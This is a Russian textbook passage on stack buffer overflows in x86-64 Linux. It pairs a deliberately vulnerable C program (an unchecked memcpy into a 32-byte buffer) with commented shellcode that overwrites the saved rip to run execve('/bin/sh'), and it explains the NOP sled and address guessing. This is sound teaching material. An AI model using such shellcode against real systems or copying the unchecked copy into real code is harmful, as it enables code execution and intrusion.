В качестве примера переполнения буфера опишем самую распространённую атаку, направленную на исполнение кода злоумышленника.
В 64-битовой x86-64 архитектуре основное пространство виртуальной памяти процесса из 16-ти эксбибайт ($2^{64}$ байт) свободно, и только малая часть занята (выделена). Виртуальная память выделяется процессу операционной системой блоками по 4 кибибайта, называемыми страницами памяти. Выделенные страницы соответствуют страницам физической оперативной памяти или страницам файлов.
Пример выделенной виртуальной памяти процесса представлен в таблице [tab:virtual-memory]. Локальные переменные функций хранятся в области памяти, называемой стеком.
Приведём пример переполнения буфера в стеке, которое даёт возможность исполнить код для 64-разрядной ОС Linux. Ниже приводится листинг исходной программы, которая печатает расстояние Хэмминга между векторами $b1 = \text{\texttt{0x01234567}}$ и $b2 = \text{\texttt{0x89ABCDEF}}$.
#include <stdio.h> #include <string.h> int hamming_distance(unsigned a1, unsigned a2, char *text, size_t textsize) { char buf[32]; unsigned distance = 0; unsigned diff = a1 ^ a2; while (diff) { if (diff & 1) distance++; diff >>= 1; } memcpy(buf, text, textsize); printf("%s: %i\n", buf, distance); return distance; } int main() { char text[68] = "Hamming"; unsigned b1 = 0x01234567; unsigned b2 = 0x89ABCDEF; return hamming_distance(b1, b2, text, 8); }
Адрес Использование | |
0x00000000 00000000 | |
Динамическая память | |
Переменные среды | |
Стек функций | |
0xFFFFFFFF FFFFFFFF |
Вывод программы при запуске:
$ ./hamming Hamming: 8
При вызове функций вызывающая функция выделяет стековый кадр для вызываемой функции в сторону уменьшения адресов. Стековый кадр в порядке уменьшения адресов состоит из следующих частей:
Адрес начала стека, а также, возможно, адреса локальных массивов и переменных выровнены по границе параграфа в 16 байтов, из-за чего в стеке могут образоваться неиспользуемые байты.
Если в программе имеется ошибка, которая может привести к переполнению выделенного буфера в стеке при копировании, то есть возможность записать вместо сохранённого значения регистра rip новое. В результате по завершении данной функции исполнение начнётся с указанного адреса. Если есть возможность записать в переполняемый буфер исполняемый код, а затем на место сохранённого регистра rip адрес на этот код, то получим исполнение заданного кода в стеке функции.
На рис. 15.1 приведены исходный стек и стек с переполнением буфера, из-за которого записалось новое сохранённое значение rip.
Изменим программу для демонстрации, поместив в копируемую строку исполняемый код для вызова /bin/sh.
... int main() { char text[68] = // 28 байтов исполняемого кода "\x90" "\x90" "\x90" // nop; nop; nop "\x48\x31" "\xD2" // xor %rdx, %rdx "\x48\x31" "\xF6" // xor %rsi, %rsi "\x48\xBF" "\xDC\xEA\xFF\xFF" "\xFF\x7F\x00\x00" // mov $0x7fffffffeadc, // %rdi "\x48\xC7\xC0" "\x3B\x00\x00\x00" // mov $0x3b, %rax "\x0F\x05" // syscall // 8 байтов строки /bin/sh "\x2F\x62\x69\x6E\x2F\x73\x68\x00" // "/bin/sh\0" // 12 байтов заполнения и 16 байтов новых // значений сохранённых регистров "\x00\x00\x00\x00" // незанятые байты "\x00\x00\x00\x00" // unsigned distance "\x00\x00\x00\x00" // unsigned diff "\x50\xEB\xFF\xFF" // регистр "\xFF\x7F\x00\x00" // rbp=0x7fffffffeb50 "\xC0\xEA\xFF\xFF" // регистр "\xFF\x7F\x00\x00"; // rip=0x7fffffffeac0 ... hamming_distance(b1, b2, text, 68); return 0; }
Код эквивалентен вызову функции execve(``/bin/sh'', 0, 0) через системный вызов функции ядра Linux для запуска оболочки среды /bin/sh. При системном вызове нужно записать в регистр rax номер системной функции, а в другие регистры процессора – аргументы. Данный системный вызов с номером 0x3b требует в качестве аргументов регистры rdi с адресом строки исполняемой программы, rsi и rdx с адресами строк параметров запускаемой программы и переменных среды. В примере в rdi записывается адрес 0x7fffffffeadc, который указывает на строку ``/bin/sh'' в стеке после копирования. Регистры rdx и rsi обнуляются.
На рис. 15.1 приведён стек с переполненным буфером, в котором записалось новое сохранённое значение rip, указывающее на заданный код в стеке.
Начальные инструкции nop с кодом 0x90 означают пустые операции. Часто точные значения адреса и структуры стека неизвестны, поэтому злоумышленник угадывает предполагаемый адрес стека. В начале исполняемого кода создаётся массив из операций nop с надеждой на то, что предполагаемое значение стека, то есть требуемый адрес rip, попадёт на эти операции, повысив шансы угадывания. Стандартная атака на переполнение буфера с исполнением кода также подразумевает последовательный перебор предполагаемых адресов для нахождения правильного адреса для rip.
В результате переполнения буфера в примере по завершении функции hamming<_>distance() начнёт исполняться инструкция с адреса строки buf, то есть заданный код.
Лучший способ защиты от атак переполнения буфера – создание программного кода со слежением за размером данных и длиной буфера. Однако ошибки всё равно происходят. Существует несколько стандартных способов защиты от исполнения кода в стеке в архитектуре x86 (x86-64).
Почти любую возможность для переполнения буфера в стеке или динамической памяти можно использовать для получения критической ошибки в программе из-за обращения к адресам виртуальной памяти, страницы которых не были выделены процессу. Следовательно, можно проводить атаки отказа в обслуживании (англ. Denial of Service (DoS) attacks).
Переполнение буфера в динамической памяти, в случае хранения в ней адресов для вызова функций, может привести к подмене адресов и исполнению другого кода.
В описанных DoS-атаках NX-бит не защищает систему.